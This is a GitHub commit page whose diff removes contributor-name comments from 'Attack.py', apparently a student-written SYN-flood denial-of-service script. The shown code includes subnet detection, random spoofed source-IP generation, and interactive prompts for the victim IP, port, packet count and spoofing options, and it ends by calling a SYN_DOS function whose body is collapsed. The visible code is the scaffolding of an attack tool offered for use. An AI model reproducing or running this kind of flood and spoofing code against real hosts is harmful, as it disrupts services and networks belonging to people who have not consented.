Skip to content

Commit

Permalink
Update Attack.py
Browse files Browse the repository at this point in the history
  • Loading branch information
RajdeepDas43 authored Mar 9, 2024
1 parent 51471b6 commit a30af1b
Showing 1 changed file with 9 additions and 9 deletions.
18 changes: 9 additions & 9 deletions Attack.py
Original file line number Diff line number Diff line change
Expand Up @@ -9,7 +9,7 @@



def getSubnet(ip): #mohammad
def getSubnet(ip):
interfaces = netifaces.interfaces()
subnetmask = ""
for iface in interfaces:
Expand All @@ -22,15 +22,15 @@ def getSubnet(ip): #mohammad



def getLocalIP(target,port): #chadi
def getLocalIP(target,port):
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.connect(("192.168.1.122", 80))
ip = s.getsockname()[0]
s.close()
return ip


def getNetwork(target,port): #mohammad
def getNetwork(target,port):
ip = getLocalIP(target,port)
subnet = getSubnet(ip)
network = ipaddress.IPv4Network(ip+"/"+subnet,strict=False)
Expand All @@ -45,7 +45,7 @@ def random_ip(network): #chadi
return ip_address.exploded


def SYN_DOS(destIP,destPort,counter,singleIPBool, subIPBool): #chadi
def SYN_DOS(destIP,destPort,counter,singleIPBool, subIPBool):
total = 0
network = getNetwork(destIP,destIP)
if singleIPBool and subIPBool:
Expand Down Expand Up @@ -110,7 +110,7 @@ def getNumofPackets(): #mohammad
except ValueError:
print("Please Enter Correct Value")

def getifSingleIP(): #mohammad
def getifSingleIP():

while(True): #keep looping until y/n
singleIP = input("Do you want to use a single IP for the attack (Y/N)? ")
Expand All @@ -121,7 +121,7 @@ def getifSingleIP(): #mohammad
else:
print("Please Enter Correct Value")

def getifSameSubnet(): #mohammad
def getifSameSubnet():

while(True): #keep looping until y/n
sameSub = input("Do you want the spoofed IP to be on the same subnet (Y/N)? ")
Expand All @@ -132,7 +132,7 @@ def getifSameSubnet(): #mohammad
else:
print("Please Enter Correct Value")

def getDestIP(): #Fouad
def getDestIP():
yourIP = input("Do you want to use your own IP as a victim (Y/N)? ")

if(yourIP == "Y" or yourIP == "y"):
Expand All @@ -145,7 +145,7 @@ def getDestIP(): #Fouad
else:
print("Please Enter Correct Value")

def main(): #mohammad/chadi
def main():
os.system("cls") #Clearing the screen
destIP = getDestIP()
print("Destination IP is {}".format(destIP))
Expand All @@ -155,4 +155,4 @@ def main(): #mohammad/chadi
subIPBool = getifSameSubnet()
SYN_DOS(destIP,destPort,counter,singleIPBool, subIPBool)

main()
main()

0 comments on commit a30af1b

Please sign in to comment.